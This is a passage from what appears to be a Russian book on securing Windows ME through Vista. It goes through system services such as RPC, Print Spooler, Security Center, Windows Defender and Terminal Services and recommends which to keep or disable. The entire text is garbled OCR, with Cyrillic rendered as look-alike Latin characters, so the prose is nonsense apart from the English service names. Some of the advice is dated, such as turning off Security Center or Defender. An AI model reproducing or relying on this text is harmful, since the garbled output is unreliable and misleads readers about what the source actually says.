CucremHoe npunoxeHune COM+ [COM+ System Application]
OTa cnyxba ynpaBnsieT HacTpomkon komnoHeHToB COM+ n HabniogaeT 3a

NX COCTOAHUNEM.

Cnyx6a COM 3anucu komnakt-guckoB IMAPI [IMAPI CD-Burning COM
Service]

B Windows XP aToT cepBuc obecneuvnmBaeT paboTy BCTPOEHHOW CUCTEMBbI
3anMcn KomnakT-AuCKOB. Ecnv Bbl UCMONb3yeTe CTOPOHHee pelleHne nns

3anucu CD, cnyxba MoXeT BbITb U OTKITHOYEeHa.

Cnyx6a agMMHUCTPUpPOBaHUA AMUcneT4Yepa riormyecknx amckos [Logical
Disk Manager Administrative Service]

HaHHas cnyxba BbINOMHAET HaCTPOWKY >XEeCTKMX AUCKOB W pasfernoB B
Windows XP.

B Windows Vista poactBeHHOM cnyxbon saBnsetca BupmyarbHbil OuCK
(Virtual Disk).

Cnyx6a BpemeHu Windows [Windows Time]
Cnyxba BpemMeHM BbINOMHAET CUMHXPOHU3ALMIO 4YacoB KoMMbloTeEpa C
9TanoHHbIM BpemeHeM B MHTepHeTe. byayyn 3anyLieHHOW, OTKpbIBAET NopT

Ha NpocnyLInMBaHue.
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Cnyxo6a 3arpy3ku usobpaxenum (WIA) [Windows Image Acquisition]
[aHHbIn cepBuC obecnednBaeT nosyyvyeHne M300pakKeHUn CO CKaHEPOB W

LUMdPOBbLIX Kamep.

Cnyx6a obecneyeHusn cetu [Network Provisioning Service]
B Windows XP 9ata cnyxba ocywectender o6paboTtky dannos
KOHourypaumm B popmate XML, no3BONAKOLLNX KOMMBbIOTEPY aBTOMATUYECKU

nonyyartb CeTeBble HACTPOWKU C rMaBHOro cepBepa fNoKanbHOM CeTH.

Cnyxo6a peructpauum owmnbok [Error Reporting Service]
[aHHbIN cepBUC 3anucbiBaeT OwWUBKM cnyx® M NpunoXeHWn B cnydae
aBapuMHOro npekpaweHnss ux paboTbl WNM  3aBUCAHUS, a TaKke

noaaepXkmBaeT oTnpaBky oT4eToB B Microsoft n goctaBky pelueHuin npobnem.

Cnyxb6a cepuMHbIX HOMEPOB MEPEHOCHbLIX YCTPOUCTB MyrnbTUMeaua
[Portable Media Serial Number Service]

B Windows XP paHHas cnyxba paboTtaeT C CcepuiHbIMM HOMEpamu
NOOKIOYaEMbIX MYNbTUMEAUNHBLIX YCTPOWUCTB C Uenbo obecnevyeHus

6e3onacHOCTM 3aLMLLEHHBIX SIMLEH3VNOHHBIX (DansoB (T.H. «MPEMUYM-KOHTEHTa).

Cnyxo6a ceteBoro pacnonoxeHust (NLA) [Network Location Awareness]
OTOT cepBUC XpaHUT uWHoOpMaLMO O HacTpomkax ceTm u coobuiaer
NPUNOXEHNAM 06 X U3MEHEHUN.

B Windows Vista HanmeHoBaHue gaHHoOro cepsuca — Cryxba ceedeHul O
MOOKITHOYEHHbIX CEMSIX.

Ot atou cnyx6bl 3aBucnt Cnyxba cnucka cetemn.

CwmapT-kapTtbl [Smart Card]
HaHHasa cnyxba ynpaBnaeT JOCTYNoOM K YCTPOMCTBaAM YTEHUS OAHOUMEHHbIX
HocuTenen. Ecnn Bbl HE UCNONb3yeTe Takne YCTPOMCTBA, TO cnyxba moxeT

ObITb 1 OTKJIHOYEHA.



BbesonacHbin IHTepHeT. YHMBepcanbHas 3awmrta ans Windows ME — Vista 80

CnpaBka n nogaepxka [Help and Support]
B Windows XP aT10oT cepBuc obecneumBaeT paboTy BCTPOEHHOro LleHTpa

cnpaBKn N NoAOEPXKN OﬂepaLlMOHHOVI CNCTEMDbI.

CbemHble 3Y [Removable Storage]
B Windows XP — cnyx6a pacno3HaBaHusi, YCTAHOBKN N HACTPOMKN CbEMHbIX

HocuTenen nHopmauuu.

TeHeBoe konupoBaHue Toma [Volume Shadow Copy]

[aHHaa cnyxba ynpaBnsieT co3gaHMEM TEHEBbIX Konun ¢hannoB. TeHeBble
KOnuu  cosparTcsd  nporpaMmaMu  apxuBaumMm U BOCCTaAHOBIIEHUS
ornepauMoOHHOM CUCTEMbI; 3Ta TEXHOSIOrnA Mo3BONSET nosfiydaTb Konuu

dannos, 3aHATLIX APYrMMU NPUITOKEHNAMM.

Y3en yHuBepcanbHbix PnP-yctpouctB [Universal Plug and Play Device
Host]

OTOT cepBuc obecneynBaeT BO3MOXHOCTb pasMELLEHMSI Ha KOMMbHOTEpE
ycTpouncTs Universal Plug and Play (UPnP) n nx obHapyxeHus.

Universal Plug and Play — Habop npoTOKONoOB, NO3BOMSAOLWNIA YCTaHaBNMBaTb
aBTOMaTM4YeCKue OOHOPaHroBble COeAWHEHUA MexXay KOoMnbiTepamn U
WHTenNmeKTyanbHbIMM YCTPONCTBAMU U OPraHnU3oBbiBaTb WX COBMECTHYHO
paboty. CeTeBble NpoayKTbl, ucnonbaywwmne UPNP, MMelT BO3MOXHOCTb
HaunMHaTb paboTy B CETU HEMNOCPEeACTBEHHO Mnocre Wux QU3NYecKoro

NMOAKIMIOYEHUS K HEWN.

YnpaBneHue npunoxeHuamm [Application Management]

OToT cepBuCc obpabaTbiBaeT 3anpocbl Ha YCTaAHOBKY, YyadaneHuve WU
nepeyncneHne ang nporpamMm, YCTAHOBMEHHbIX MOCPEACTBOM rpPynnoBOM
nonnTukn, obecneymBaeT YCTaHOBKY nporpammMHoOro obecneveHus, B

4YaCTHOCTU — Ha3HayeHue, Nybnukauuo, yoaneHue.
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Cnepyouwme cnyx6bl A4OMKHbI UMETb TUMN 3anycka «ABTO» U paboTaTb
NOCTOAHHO. OTKMIOYEHME ITUX CIYXKO HexenaTtenbHO, MOCKOSIbKY MOXeT

CyLLeCTBEHHO HapyLlaTb (pyHKLUMOHANbLHOCTb CUCTEMbI.

Plug and Play

OToT cepBuc obecneunmBaetr paboTy OOHOMMEHHOW  TEXHOSOrUW,
Nno3BONSKOLWEN  pacno3HaBaTb  UM3MeHeHuMss B obopygoBaHun  6e3s
HeobXoaMMOCTHK Nepes3arpyskm KoMnbloTepa.

Ot aton cnyx6bl 3aBucat Cnyx6a dakcos, TenecoHusa, Windows Audio,
Windows Audio Endpoint Builder, Oucnetyep norn4yeckux OUCKOB,
CwmapTt-KapTbl, Cnyx6a BBoga nnaHweTtHoro [K, BuptyanbHbin AUCK,
Windows Driver Foundation - User-mode Driver Framework,

YctaHoBwuUK moayneun Windows.

Windows Audio
HNaHHaa cnyxba nogaepXxuBaeT QYHKUMOHMPOBAHUE ayauOyCTPOUCTB W
3BYKOBble a(dekThbl, ynpaBnaeT cpeacTBamu paboTbl CO 3BYKOM AOns

nporpamm Windows.

Windows User Mode Driver Framework

Ota cnyxba obecneunBaeT paboTy [AparBepoB B MOfb30BaATENLCKOM
pexnme (UserMode, OH e «TpeTbe KOSbLO aapa»).

B Windows Vista HasBaHne aTton cnyx0Obl yToyHeHo: Windows Driver
Foundation — User-mode Driver Framework. B gaHHon OC aTta cnyx6a no
YMOM4YaHMIO0 YCTaHOBIIEHA Ha TuN 3anycka « Bpy4yHyro», 1 nepeBoanTb ee Ha

TN «ABTO», COOTBETCTBEHHO, HE TpebyeTcs.

OucneTtyep ovepeam nevartu [Print Spooler]
[aHHbIN cepBUC 3arpyxaeT B namaTb pannbl ANa UX nocrenyowen neyatu.,
Ecnun Bbl He ncnonb3dyete BOObLLE HUKAKME NPUHTEPBLI — HU annapaTHble, HU

nporpamMmmMHblie, - cny>|<6a MOXET ObITb OTKITHOYEHa.
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Oucnetyep yuYeTHbIX 3anucen 6Oe3onacHocTu [Security Accounts
Manager]

OTOT cepBUC OTBeYaeT 3a XpaHeHne cBedeHun o ©GesonacHoOCTU Ans
nokanbHOro nonb3oBartens. Opyrne cnyx0Obl Npu 3anycke AaHHOro cepsuca
nonyyarT yBeAOMSIEHUS O ero roTOBHOCTU, YTO MOXeT OblTb Heobxoanmmo

ANS UX KOPPEKTHON paboThl.

XypHan cobbiTum [Event Log]

HaHHaga cnyxba ocyllecTBnseT NPOTOKONMpOBaHUe paboTbl CUCTEMBI, BeaeT
XypHanbl MH(OPMAaLMOHHbLIX coobleHnn n owmnbok. lNpoTokonbl paboTbl
cucTeMbl 6GbIBalOT NOME3HblI NPU NOUCKE MPUYMH TEX UIIM MHbIX HapyLleHWn

paboTbl NporpaMmHoro obecneyeHus.

3anyck cepBepHbix npoueccoB DCOM [DCOM Server Process
Launcher]

OToT cepBuc obecneumBaetr 3anyck cnyx6 Distributed COM,
obecneumBaloLWMX MEXKOMMLIOTEPHOE B3ammogencteme kommnoHeHToB [10.
HekoTopble nporpamMMHble NpoayKTbl TPEBYOT paboTbl 4aHHOW CryxObl Ans
KOPPEKTHOIO OyHKLIMOHNPOBAHWS.

B Windows Vista ata cnyxba HasbiBaetcsa Modynb 3arycka rnpoueccos

DCOM-cepsepa, n OT Hee 3aBUCUT YaaneHHbIn BbI3oB npoueayp (RPC).

3awmuweHHoe xpaHunuue [Protected Storage]

[aHHbIn  cepBUC nNpu3BaH obecnevmBaTtb OTHOCUTENbHO GesonacHoe
XpaHeHne naponen, coxpaHeHHblx u3 [lpoBogHuka, Internet Explorer wn
ApYyrux nporpammMHbiX NpoaykToB. Cnyxbe MOXHO paboTaTb, Jaxe ecnu Bbl
cnegyeTte coBeTam 3TOM KHUMM U HEe coXpaHaeTe naporsu.

B Windows Vista ata cnyx6a no ymonyaHuio yCTaHOBMEHa Ha TUN 3anycka
«BpyyHyto». [lepeBoautb ee Ha Tun «ABTO», COOTBETCTBEHHO, He

TpebyeTcs.
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UHcTpymeHTapunn ynpasneHua Windows [Windows Management
Instrumentation]

HaHHaa cnyxba npegocTtaBnseT O6WNA MHTEP(ENC N MHCTPYMEHTbI ANs
Aoctyna K WHgopmauum 06 ynpasneHuuM OonepaumoHHOW CUCTEMOM,
YyCTpPOMCTBaAMU, MPUNOXEHUAMWN U APYTMMWN CEPBUCaAMN.

OT aton cnyx06bl 3aBucaT O6GWKMNA AOCTYN K noaknto4veHnto K UHTepHeTy,

BcnomoraTtenbHas cnyx6a IP 1 LleHTp o6ecnevyeHns 6e3onacHOCTH.

OnpepneneHue obopyaoBaHua obornoyku [Shell Hardware Detection]
[NaHHaa cnyxba obecneyMBaeT npegocTaBreHne YyBeOOMSEHUn Ans
aBTOMATUYECKOro 3anycka COAEPXMMOro Ha pPasfnU4YHbIX HOCUTENAX
MHdOpMaLU.

Ot aTou cnyx6bl 3aBucntT Cnyxba 3arpy3ku nsodpaxeHun.

Cnyx6bI kpuntorpadum [Cryptographic Services]
UeTbipe cnyx0Obl kpuntorpacdmm — 6a3 AaHHbIX KaTanora, 3awuuieHHOro
KOPHSI, aBTOMaTU4YeCKOro OOHOBMEHUS KOPHEBBLIX CEPTUMPUKATOB, KIOYen —

ynpasnsaT ULMdpoBbIMU NOANUCAMNU U cepTudunkaTamm dpamsos.

TenedoHusn [Telephony]

TenedoHns obecneunmBaeT OOCTYyN K cepBMCaM Ha OCHOBe TenedoHHOWM
CBS3U — ynpasrieHne MoaeMoM, J03BOH, |IP-Tenedonus n 1.4.

B Windows Vista ata cnyx6a no ymonyaHuio yCTaHOBMEHa Ha TUN 3anycka
«Bpy4yHyto». [lepeBoauTb €€ Ha Tun «ABTO», COOTBETCTBEHHO, He
TpebyeTcs.

Ot aton cnyxbbl 3aBucat Cnyxb6a dakcoB, [lucnetyep NOAKMNOYEHUN

vyAarneHHoro gocrtyna.

Tembl [Themes]

[aHHbIN cepBuUC nogaepxmBaeT TeMbl ooopmneHms Windows.
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YBeaomrneHune o cucTeMHbIX cobbITUAX [System Event Notification]

OTa cnyxba HabnogaeT 3a CUCTEMHBLIMU COBbITUAMN 1 COODLLAET O HUX TEM
KOMMOHEHTaM, KOTOpble SABNATCA nognucynkamm cnctemsl codbitnn COM+.

B Windows Vista HanmeHoBaHue aTtoro cepBuca — Cryxxba ygedomMsieHUs1 O
cucmemHbIX cobbImusix.

Ot atou cnyx6bl 3aBucnt CuctemHoe npunoxeHne COM+.

YpaneHHbin Bbi3oB npoueayp (RPC) [Remote Procedure Call]

RPC — kopHeBaga cnyxb6a Windows, OT COCTOSIHUSI KOTOPOW 3aBUCUT 3amnyck
GonbwmnHcTBa npounx cepsucoB. RPC obGecneumBaeTr paboty cnyx6
yAaneHHoro Bbl3oBa npouenyp u ynpasngaet cnyx6amu COM.

MpmBoauTb cnmcok cnyx6, 3aBucumbix oT RPC, HeuenecoobpasHo,
nockonbKy npouwe Obino 6bl nepevncnnTb Cnyxbbl, KOTOpble OT HEe He

3aBUCAT.

LleHTp obecneyeHus 6e3onacHocTun [Security Center]

LIOBb HabniopaeTt 3a COCTOSSHMEM 3alUUMTHOro nporpammHoro obecneveHus,
6pangmayapa  Windows, aBTomMaTuMyeckmum  oOHOBReHnMem U T.4.
Ncnonb3oBaHne LIOB ckopee saBnsetca genom BKyca. Ecnn Bbl camu

cnegute 3a 6e30nNacHOCTLI0 KOMMbKOTEPA, TO CNYXOY MOXHO N OTKNHOUYUTD.
HononHutensHble cnyxobl (Windows Vista)

B Windows Vista 6bin1 BBegeH psi4 HOBbIX Cnyx0, no npeumyLiecTBy
obecneumBalolWMx TY WAN WHYKO OOMOMNHUTENBbHY (PYHKUMOHANBHOCTD,
KoTopas He aBnsieTca Heobxogumon ans paboTbl onepaunMoHHONW CUCTEMbI B
uerom. Kak wn B Windows XP, wMHorve pobaBneHHble Crnyxbbl
npegHasHayeHbl AOn9 JoKanbHOM CeTU MNpeanpusaTusa, rae  HacyLHOM
NOTPEBHOCTBLIO ABMNAETCS B3aMMOOEWNCTBME KOMMNbIOTEPOB Mexay coboun; B
YCrOBUAX e AOMalLUHEero KomnbtoTepa HeobxoammoctTn B mx paboTe, Kak

npaBuIio, HeET, 4YeM U Bbl3BaHbl peKoOMeHOaUnN Mo NX OTKITIOYEHNIO.
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Ona cnepyrowmx cnyx6 Heo6xoaAMMO BbIGpaTb TUM 3anycKa —

«OTKITIOYEHO» U OCTAaHOBUTb. ATU CIYXObl HUKOrAa He byayT

3anyLweHbl.
ReadyBoost

TexHonorus ReadyBoost npegHasHayeHa ans NOBbILLEHUS
NPOM3BOAUTENBHOCTH CUCTEMDbI nocpeacTBoMm NCNONb30BaHUSA

AOMNOJSTHUTENbHbBIX PECYPCOB B BUAE CbeMHbIX HocuTenen. [aHHaa cnyxba
MOXeT ObITb OTKIOYEHA, ECNN Bbl HE MUCMNOSb3yeTe 3TOT (PyHKUMOHAN; ecnu
TexHornornsa ReadyBoost Bam Heobxoanma, Bbl MOXETE OCTaBUTb CITYXKOY Kak

€CTb.

ABTOHOMHbIe daunnbl [Offline Files]
[aHHbIn cepBUC nogaepxmBaeT paboTy Kawa aBTOHOMHbIX pansioB w
MHOPMUPYET CTOPOHHME MNPOAYKTbl O COCTOSIHMM K3la B Cry4yae

HeobxoanmocTn. 3Ta cnyxba MoxeT bbITb 6e30NacHO OTKITOYEHA.

AreHT 3awmTbl ceTeBoro goctyna [Network Access Protection Agent]
OTOT cepBUC npegHasHadeH ansa obecnedeHusi pabotbl TexHonorum NAP,
nossondawWwen  agMUHUCTpPaATOPYy CeTM  aHanuM3npoBaTb  COCTOAHUE
6e30nacHOCTN KOMMbIOTEPOB M HE AOMyCKaTb UX K MOOKIOYEHUIO B Cryyae
HEeCOOTBETCTBUA 3a4aHHbIM TpeboBaHMSM.

[aHHbIn  PYHKUMOHAN npegHasHavyeH Ona  ceTen npeanpuatMa UM Ha

AJOMallHEeM KOMMbTEepE MOXeT ObITb OTKMIOYEH.

BcnomoraTtenbHas cnyx6a IP [IP Helper]

Ecnn komnbloTEp HaxoguTCs B CeTU, MCNofb3yowen npoTtokon MHTepHeTta
(Internet Protocol, IP) Bepcun 4, ¢ NOMOLUbID AaHHOW CIyXObl OH MOXeET
aBToOMaTM4YeCKM NoaKNKYaTb U ncnosib3osaTth |P Bepcumn 6.

OTOT cepBUC MOXET ObITb OTKMOYEH. B pe3ynbTaTte aToro kKomnbtotep byaet

MCNoMb30BaTb NPOTOKOST BEPCUM 6 TONBLKO B CETAX Bepcun 6.
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3awmnTtHuk Windows [Windows Defender]

PaboTta cnyxbbl 3awmTtHmka Windows 3aBUCUT OT €ro Ncnonb3oBaHus. Ecnu
y Bac yCTaHOBJIEHO aHTUBUPYCHOE NporpamMmmMHoe obecneyeHne, To 3alNTHUK
n ero cnyxba mMoryT OblTb OTKIMOYEHbIl. B NpoTMBHOM cny4yae cnyxba moxeT

ObITb OCTaBrieHa KaK eCTb.

Noeywka SNMP [SNMP Trap]

OTa cnyxba npuHMMaeT cooblleHnss nepexeaTta, CO34aHHble areHTamu
SNMP, n nepecbinaet nx meHegxepam SNMP Ha KomnbioTepe.

SNMP (Simple Network Management Protocol, npocton npoToKon
yrnpaBrieHNs CeTbi) — CTaHZapT YynpaBfeHuss CeTaAMM CBS3M Ha OCHOBE
TCP/IP, a Takke TexHonorus, npu3BaHHas obecneunTb ynpasneHue
yCTpOMUCTBAMM U MNPUMOXEHUSIMM B CeTU  nocpencTtBoM  obmeHa
MHopMauunen mexagy areHTaMmm (CeTeBbiIMU YCTPOMCTBaAMMU) U MEHeIKepamu
(ynpasnawowmmmn  ctaHuusamun). CeTb  Npu 3TOM  onpedensietcs  Kak
COBOKYMHOCTb  YNpaBnslWmMX CTaHUMA U ONEMEHTOB CeTW, KOoTopble
COBMECTHO obecneymBaloT agMUHNCTPATUBHbIE CBA3N.

OTOT PYHKUMOHAN He aBnseTca HeobxoaMMbIM OS5 AOMAaLLHEro KoMnboTepa

N noanexumt OTKINH4YEeHUIo.

Moaynu kntoyen IPsec gna obmeHa knroyamm B UHTepHeTe 1 NpoOTOKona
IP ¢ npoBepkon nognuHHoctu [IKE and AuthlP IPsec Keying Modules]
[aHHaa cnyxba sBnaeTcsa OONONHUTENbHOW K cnyxbe IPsec n cogepxut
MOAYNN, UCMNOSib3yeMble MPU NPoBepKe NOASIMHHOCTM U oBbMeHe Kro4Yyamun B
npoTtokone 6e3onacHocTu IPsec.

Tun 3anycka Ons 3Ton Ccnyxbbl COOTBETCTBYET PEKOMEHAYEMOMY TUMy

3anycka gna camon IPsec, T.e. « OTKIO4EHO».
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Moaynb 3anycka cnyx6bl Windows Media Center [Windows Media
Center Service Launcher]

OTOT cepBUC 3anyckaeT cnyxbbl nnaHupoBwMka M npuemHuka Windows
Media Center, ecnun 4epe3 WMC nogknoyeH TeneBU3NOHHbLIM NPUEMHUK.
[aHHaa cnyxba MoxeT OblTb 6e30MacHO OTKMYeHa U BMNOCNEACTBUM MpU
Heob6XoOMMOCTM pPa30oBO aKTUBMpPOBAHA WM MepeBedeHa Ha Tun 3anycka

«Bpy4Hyto», ecnu ee ycnyru notpeodyoTcs.

HacTtpouka cnyx6 tepmuHanoB [Terminal Services Configuration]

OTOT cepBUC 4ABNSIETCA AOoNofHUTENbHbIM K Cnyxk6bam TepmMuHanoB u
BbIMOSIHAET WX HACTPOMKY, a TaKkke KOH(UrypupoBaHMe W NOAAEPXKKY
yAaneHHoro goctyna. Tun 3anycka onst 4aHHOW cnyxbbl COOTBETCTBYET TUMY

ans cammx Cnyx6 TepMuHanos, T.e. «OTKMIOYEHOY.

OOGHapyxeHne nHTepakTUBHbIX cNyX06 [Interactive Services Detection]

OTOT cepBUC OTBEYaeT 3a MHOPMUPOBAHME MNOMb30BaTENS O paspeLleHumn
AoCTyna K OuanoroBblM OKHaM, CO34aBaeMbiM MHTEPAKTUBHbLIMWU Criy>kbamu,
T.e. CpeacTBaMu CETEBON0 MEXKOMIMbIOTEPHOro B3aumoadencTsuda. [aHHbIn
dyHKUMOHaN npeaHasHayeH ONs KOpnopaTuMBHLIX CeTEN M Ha AOMalLHEM

KOMMNbOTEPE MOXET ObITb OTKMNIOYEH.

NepeHanpaBuTenlb NOPTOB MNOJSIb30BaTEeNIbCKOro pexuma Ccrnyxo
TepMmuHanoB [Terminal Services UserMode Port Redirector]

OTa cnyxba Takke aABnAeTcs AononHuTenbHon Kk Cnyxbam TepmMuHanoB u
obecneunBaeT nepeHanpaBneHns YCTPOWCTB, MOPTOB, ApanBepoB A4
NOOKMIOYEHMN K yaaneHHoMy pabodemy cTtony. Tun 3anycka ans 9Tou
cnyxbbl aHanormdeH Tuny 3anycka Aans cammx Cnyx6 TepmuHanoB -—

«OTKMHOYEHOY.
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NMonutuka yaaneHusa cmapt-kapT [Smart Card Removal Policy]
HaHHasa cnyxba npegHasHadeHa gnst 6nokupoBku paboyero ctona nocne
n3BneYeHns cmapT-kapTbl. Ecnu Bam Tpebyetca aTOT yHKUMOHArM, TO

Cry0y MOXHO OCTaBUTb KaK ecTb.

NMpoBoaHasa aBToHacTpouka [Wired AutoConfig]
OTOT CcepBUC nMpefHasHayeH [Ona NPOBEPKM MNOASIMHHOCTU  CEeTEBbIX

nHTepgencos Ethernet. OH MOXeT GbITb 6€30MacHO OTKIHYEH.

NMyonukauna pecypcoB oOHapyxeHus dyHkuumn [Function Discovery
Resource Publication]

[aHHbIN cepBUC NYBMKYEeT KOMMbIOTEP U ero pecypcbl Ans BO3MOXHOCTU ero
(komnbloTEpPa) OBHapYXeHNA B ceTU. OTOT PYHKUMOHAN npegHasHavyeH Aans

ceTen npeaonpunaTna n Ha gomMallHEM KOMMbTEPE MOXET ObITb OTKMIOYEH.

PacnpocTtpaHeHue ceptudukara [Certificate Propagation]
OTOT CepBUC OTBEYaAEeT 3a pacnpocTpaHeHne cepTudukaTtoB CoO CMapT-KapT.

Ecnu Bbl Mcnonb3yeTe cMapT-KkapTbl, TO CYX0Yy MOXHO OCTaBUTb Kak eCTb.

Pennukauua DFS [DFS Replication]

HaHHaga cnyxba oTBeYaeT 3a CUHXPOHU3AUUIO hansioB MeXAy HEeCKONbKUMM
KOMMbOTEPAMN B CETU — B YACTHOCTU, NpU NepemeLieHnn nanok ¢ O4HOW
paboyen cTaHUMM Ha [pyrylo. OTOT (PyHKUMOHAN, Kak M Bce cpencrea
MEXKOMMbIOTEPHOrO0 B3aMMOLENCTBUS B JNTIOKANbHOW CETU, peKoOMeHayeTCs K

OTKITHOHMEHUIO.

Poautenbckumn koHTponb [Parental Control]

OTOT CepBUC NOAOEPXKMBAET HACTPOMKY pPOAUTENBCKOrO  KOHTPOIS,
NO3BOMAOLWEro OrpaHnyMBaTh UCMOSIb3OBaHWE KOMIMbKOTEPA WS MPOCMOTP
onpefeneHHoro cogepXumMoro aetbMu. Mcrionb3oBaHve poaUTENbCKOro

KOHTPOMS 3aBUCUT OT BalLMX NOTPEOHOCTEN; ecrniv OH BamM HeobXoauMm, U Bbl
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HE Wncnosibdyete CTOPOHHME peLleHnda 3TOro Tuna, TO CJ'Iy>K6y MOXHO W

OCTaBUTb KaK €CTb.

Coopuwuk cobbiTin Windows [Windows Event Collector]

OTOT cepBUC nMpefdHasHadeH Ond npueMa CoOOLEHUA O CUCTEMHbIX
cobbITNAX OT yAaneHHbIX UCTOYHMKOB 4Yeped npoTokon WS-Management, a
TaKKe UX COXpaHeHusl B JIOKarbHOM XypHane cobbiTuin. [laHHasa cnyxba Ha

AOMaLlHEM KOMMbloTepe MOXeT ObiTb 6e30MacHO OTKMNYEHA.

Cnyxb6a aBTOoMaTnyeckoro obOHapyxeHus Beb6-npokcn WIinHTTP
[WinHTTP Web Proxy Auto-Discovery Service]

HaHHaa cnyxba peanunayeT MHCTPYMEHTapunh AOnsi OTMpaBkuU U MOMyYeHUus
HTTP-3anpocos CTOPOHHUMU NPUNOXEHUAMMU n nogaepxuveaeTt
aBTOMaTudeckoe oBHapyXeHue KOHUrypaumm npokcu-cepsepa. Ecnu Bbl
NOAOKIOYEHBI K CETU 4Yepe3 MPOKCU-cepBep, CryXby MOXHO OCTaBWUTb Kak

€CTb.

Cnyx6a 6azoBoun ¢punbTpauuu [Base Filtering Engine]

OT1a cnyxba ynpaBnsaeT nonutukamm 6pangmayapa Windows un IPsec. Tun ee
3anycka OOoJKeH coBnagaTbh C TakoBbIM ANs cnyxobbl 6panamayapa Windows
— €CJTM UCMONb3YyeTCs CTOPOHHUIM CETEBOWN 3KpaH, TO « OTKIKOYEHOY», eCrin He
MCNonb3yeTcs, To KABTO».

Ot atoun cnyxbbl 3aBucaT Moaynu kno4ven IPsec ans obmeHa Knro4vyamu B
UHTepHeTe 1 npoTokona IP ¢ npoBepkou noanuMHHocTn, O6wmmn aoctyn
K noakntoyveHuto K UHTepHeTy, AreHT nonutukm |IPsec, MapwpyTtusaums

M yaaneHHbIn goctyn, bBpanamayap Windows.

Cnyx6a Beoaa nnaHweTHoro MK [Tablet PC Input Service]
OTOT cepBuc obecneunBaeTr paboTy nepa W PYKONUCHOrO BBOAA Ha
nnaHweTHbIX MNK. Ha Bcex ocTtanbHbIX TUMNax KOMMNbIOTEPOB, COOTBETCTBEHHO,

saBnsaeTcs 6ecnonesHbiM n noanexXumT OTKINHOYEeHUIO.
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Cnyx6a wuHuumatopa MaukpocodT iSCSI [Microsoft iSCSI Initiator
Service]

HaHHaa cnyxba ynpaBnsieT ceaHcaMn CBSA3N MeXOy KOMMNbTEPOM W
yaaneHHbIMn yctponctBamu SCSI. [laHHbIN OyHKLUMOHAN npegHasHadeH ong
NOCTPOEHUSA KOPNopaTUBHOM OKafibHOM CEeTU N Ha AOMalUHEM KOMMbloTepe

MOXET ObITb OTKITHOYEH.

Cnyx6a mepuanpuctaBkm Windows Media Center [Windows Media
Center Extender Service]

OTOT  cepBUC  MNpedHasHadeH  Onsa obHapyXeHust  KOoMMbloTepa
meguanpuctaskon Window Media Center n ans ee nogktO4YEHUS K HeMy.

NaHHas cnyxba oTkNoYeHa Mo YMOMYaHuIo.

Cnyx6a obwero agoctyna Kk noptam Net.Tcp [Net.Tcp Port Sharing
Service]

Jta cnyxba npegoctasnseTr BO3MOXHOCTb COBMECTHOIO WCMOMb30BaHUA
noptoB TCP ¢ nomowubto npotokosia Net.Tcp. [JaHHbIn cepBUC OTKITHOYEH MO

YMOJTYaHMUIO.

Cnyxb6a obwux ceteBbix pecypcoB npowurpbiBatensa Windows Media
[Windows Media Player Network Sharing Service]

[aHHbIN cepBUC NpeaocTaBnsieT obuiMi ceTeBoM AOCTyn K Ombnuortekam
npourpbiBatensa Windows Media. Kak u npoyne cepBUCbl YyOaneHHOro

AO0CTYyna K JIoKaJibHOMY KOMMbKOTEPY, 3Ta cny>K6a noaneXxuT OTKJTIO4YEeHUIO.

Cnyx6a nnaHunposBuwmka Windows Media Center [Windows Media Center
Scheduler Service]

OTOT KOMMOHEHT MeanaueHTpa Windows oTBeyaeT 3a 3anucb Terienporpamm
no pacnucaHuio. Ecnn Bbl YacTo mcnonb3yete nogoOHbIn (pyHKUMOHAN, aTa

cnyx6a MoxeT OblTb OCTaBneHa Kak ecTb.
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Cnyx6a nyonukaumm nmeH komnbrotepoB PNRP [PNRP Machine Name
Publication Service]

Jta cnyxba nybnukyetr uMs KOMMbOTEpa C MOMOLLBD NPOTOKONa
paspeLueHms MMeH B ogHopaHrosou cetn (PNRP), no3sonas obHapyxumBaTb
KOMMblOTEP M obpawaTtbea K Hemy. [JaHHbIM cepBUC MOXET ObiTb 6e3onacHo

OTKITHO4YEH.

Cnyxb6a pecuBepa Windows Media Center [Windows Media Center
Receiver Service]

OTOT KOMMOHEHT MegmaueHTpa Windows obecneunBaeT npmem Tenenepeaay
N paguoTtpaHcnaumn. Ecnn Bbl ucnonb3yeTte 3TOT (PyHKUMOHanN, TO Cryxoby

MO>XXHO OCTaBWUTb KaK €CTb.

Cnyx6a ypaneHHoro ynpasneHuma Windows (WS-Management)
[Windows Remote Management (WS-Management)]

[aHHbIN cepBUC npeaHasHavyeH Ana opraHuMsauun yoaneHHoro ynpasfieHUs
KOMMbOTEPOM nocpeacTtBoM npoTtokona WS-Management. [lo  ypoOBHKO
onacHoctM aTa cnyxba conoctaBuma co Cnyxbamu TepMuHanos, W,

COOTBETCTBEHHO, Takke TpebyeT Tuna 3anycka « OTKIMOYEHO».

YnpaBneHue ceptudmkatamm u KrnoyYom pabotocnocobHoctn [Health
Key and Certificate Management]

OTa cnyxba sBnsaeTcs AONONHUTENBHOW K AreHTy 3allmnTbl CETEBOro 4OCTyna
N npegocTaBndeT cepTuukaTbl U KITouM Ona ero yHKUMOHUPOBaHNA. Tun
3anycka gnst aTon cnyxbbl Takom Xe, Kak U Ond camoro AreHta 3aliuTbl

ceTeBoro Agocrtyna, 1.e. « OTKMYEHO».

dakc [Fax]
Cnyxb6a akcoB no3BonsieT OTnNpaBnATb (aKCUMUIbHbIE COOOLLEHNA C
KomnbtoTepa. Ecnun Bbl ucnonb3yeTe AaHHbIM (OYHKUWOHAMN, cnyxba mMoxeT

ObITb OCTaBrieHa KaK eCTb.
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Ona cnepyrowmx cnyx6 HeobxoauMo BbIOpaThb TUN 3anycka — BpyyHyto
M OCTaHOBUTb. ATU CIRYXObI OyAyT 3anyLieHbl, eCfi B HUX BO3HUKHET

NOTPEeOHOCTb.

KtmRm gnsa koopauHaTopa pacnpegernieHHbIX TpaH3akuun [KtmRm for
Distributed Transaction Coordinator]

[aHHaa cnyxba  gaBnsieTca  OONOSHUTENBbHON K  KoopauHaTopy
pacnpeneneHHbIX TpaH3akuum 1 ynpaenseT nepegaden gaHHbIX Mexay HUM
M gucnetyepom TpaH3akuunm agpa. [lockonbky cam  KoopguHaTtop
pekoMeHayeTcsl K Tuny 3anycka «Bpy4Hyr», aHanornyHblni BepPOVKT

npegnaraeTcs n Ans gaHHON cnyxo6bl.

Quality Windows Audio Video Experience
OTa cnyxba npegHasHadeHa Onsi NOTOKOBOW Mepefayn ayamo M BUMAEO B
AoMallHen ceTu nocpeacTtsoM npoTtokona IP. [Onsg Hee BO3MOXEH Tun

3anycka «BpyuHyto».

Windows CardSpace

